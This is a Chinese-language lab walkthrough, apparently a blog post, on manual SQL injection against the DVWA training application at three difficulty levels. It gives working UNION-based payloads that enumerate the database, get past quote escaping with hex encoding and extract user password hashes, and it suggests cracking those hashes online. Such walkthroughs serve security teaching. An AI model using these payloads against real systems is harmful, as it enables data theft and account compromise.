SQL手工注入(DVWA)

手工SQL注入攻击的标准思路

Low等级

(1)判断是否存在注入

(2)猜解字段个数

(3)确定字段顺序

(4)获取当前数据库

(5)获取当前数据库中的表

(6)获取数据表中的字段名

(7)获取数据

Medium等级

(1)判断是否存在注入

(2)猜解字段个数

(3)确定字段顺序

(4)获取当前数据库

(5)获取当前数据库中的表

(6)获取数据表中的字段名

(7)获取数据

High等级

(1)通过LIMIT限制

(2)爆库名和版本号

(3)爆数据库名

(4)爆字段名

(5)盗取用户密码

手工SQL注入攻击的标准思路

1.判断是否存在注⼊,注⼊的类型是字符型、数字型 还是 搜索型 2.猜解SQL查询语句中的字段数 3.确定显⽰的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.查询/下载数据

Low等级

在Low等级,SQL注入的界面如下当我们正常输入UserID(比如:1~5)然后点击Submit按钮之后会正常显示User的ID、FirstName和Surname三个字段

ID First name Surname
1 admin admin
2 Gordon Brown
3 Hack Me
4 Pablo Picasso
5 Bob Smith

(1)判断是否存在注入

注入的类型是字符型、数字型还是搜索型

输入1,查询成功

复制代码
1' or '1'='1 #

查询成功

复制代码
1' and '1'='1

查询成功

复制代码
1' and '1'='2 #

查询失败,返回结果为空

由此可见,此模块存在于字符型注入漏洞。

(2)猜解字段个数

复制代码
1′ order by 1 #

查询成功

复制代码
1′ order by 2 #

查询成功

复制代码
1′ order by 3 #

查询失败

由此可见,说明此模块执行的SQL查询语句中只有两个字段,即这里的First Name, Surname。

(3)确定字段顺序

复制代码
1' union select 1,2 #

查询成功

由此可见,说明此模块执行的SQL查询语句大概为

复制代码
SELECT FirstName, SurName FROM TableName WHERE ID = 'id' ....

(4)获取当前数据库

复制代码
1' union select 1,database() #

查询成功

说明当前数据库名为dvwa

(5)获取当前数据库中的表

复制代码
1' union select 1, table_name from information_schema.tables where table_schema='dvwa

dvwa这个数据库下有两张表:guestbook 和 users

如果表很多的话,也可以使用group_concat函数来一并返回表名:

复制代码
1' union select 1, group_concat(table_name) from information_schema.tables where
table_schema='dvwa

(6)获取数据表中的字段名

复制代码
1' union select 1,group_concat(column_name) from information_schema.columns where
table_name='users

(7)获取数据

复制代码
1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

接将admin的password复制出来,拿到一个MD5在线解密的网站破解一下

Medium等级

使用Burp Suite来做抓包

把其中的参数id=1改为3,再点击Forware按钮,它就会将我们原本选择UserID=1改为UserID=3转 发到真实服务器,于是后端返回了如下的结果:

(1)判断是否存在注入

注入的类型是字符型、数字型还是搜索型

抓包更改参数

复制代码
id=1′ or 1=1 #

报错

将其改为

复制代码
id=1 or 1=1 #

由此可见,存在数字型注入

(2)猜解字段个数

抓包更改参数

复制代码
id=1 order by 1 #

输入

复制代码
1 order by 2 #

输入

复制代码
1 order by 3 #

查询失败,说明存在返回2个字段。

(3)确定字段顺序

抓包更改参数

复制代码
id=1 union select 1,2 #

(4)获取当前数据库

抓包更改参数

复制代码
id=1 union select 1,database() #

说明当前数据库为dvwa

(5)获取当前数据库中的表

抓包修改参数

复制代码
id=1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

dvwa这个数据库下有两张表:guestbook 和 users

(6)获取数据表中的字段名

抓 包 修 改 参 数

复制代码
 id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

报错,单引号被转义了,变成了'

利 用 16 进 制 进 行 绕 过 转 义 操 作 , 再 次 抓 包 修 改 参 数 为 :

复制代码
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

(7)获取数据

抓 包 后 修 改 参 数

复制代码
id=1 union select group_concat(user_id,first_name,last_name), group_concat(password) from users #

High等级

(1)通过LIMIT限制

复制代码
1' union select 1,2#

(2)爆库名和版本号

复制代码
-1' union select database(),version() #

(3)爆数据库名

复制代码
1' union select (select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),2#

(4)爆字段名

复制代码
 -1' union select (select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),2#

(5)盗取用户密码

复制代码
-1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
相关推荐
蒲公英eric2 天前
DVWA通关全记录:从漏洞复现到安全防御——总结篇
web安全·ai·dvwa·ai安全
蒲公英eric3 天前
从旧接口泄露到 OAuth 保护:DVWA API 模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·api模块
蒲公英eric13 天前
从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·开放重定向模块
蒲公英eric13 天前
从弱加密到安全实现:DVWA 密码学模块完整漏洞分析教程
安全·web安全·ai·dvwa·ai安全·密码学模块
蒲公英eric15 天前
从页面检查到功能验证:DVWA 授权绕过模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·授权绕过模块
蒲公英eric18 天前
从宽松策略到严格限制:DVWA CSP 绕过模块完整漏洞分析教程
web安全·ai·dvwa·ai安全·csp bypass·csp绕过
蒲公英eric21 天前
从客户端到服务端:DVWA DOM 型 XSS 模块完整漏洞分析教程
前端·web安全·ai·xss·dvwa·ai安全
Sagittarius_A*1 个月前
Stored Cross Site Scripting(XSS)存储型跨站脚本漏洞:恶意数据持久化缺陷与 DVWA 分级绕过实战
前端·网络·web安全·网络安全·xss·dvwa
蒲公英eric1 个月前
从布尔盲注到参数化查询:DVWA SQL 盲注模块完整漏洞分析教程
sql·web安全·ai·dvwa·ai安全·sql 盲注